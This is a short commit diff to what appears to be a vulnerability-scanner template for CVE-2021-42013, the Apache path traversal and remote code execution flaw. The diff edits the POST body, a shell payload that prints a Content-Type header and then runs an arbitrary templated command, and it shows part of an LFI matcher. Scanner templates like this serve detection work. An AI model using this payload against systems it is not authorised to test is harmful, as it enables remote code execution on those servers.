fixed post request payload

cves/2021/CVE-2021-42013.yaml

@@ -42,13 +42,12 @@ requests:
         Origin: {{BaseURL}}
         Content-Type: application/x-www-form-urlencoded
 
-        echo Echo: CVE-2021-42013; echo; {{cmd}};
+        echo Content-Type: text/plain; echo; {{cmd}}
 
     stop-at-first-match: true
     unsafe: true
     matchers-condition: or
     matchers:
-
       - type: regex
         name: LFI
         regex: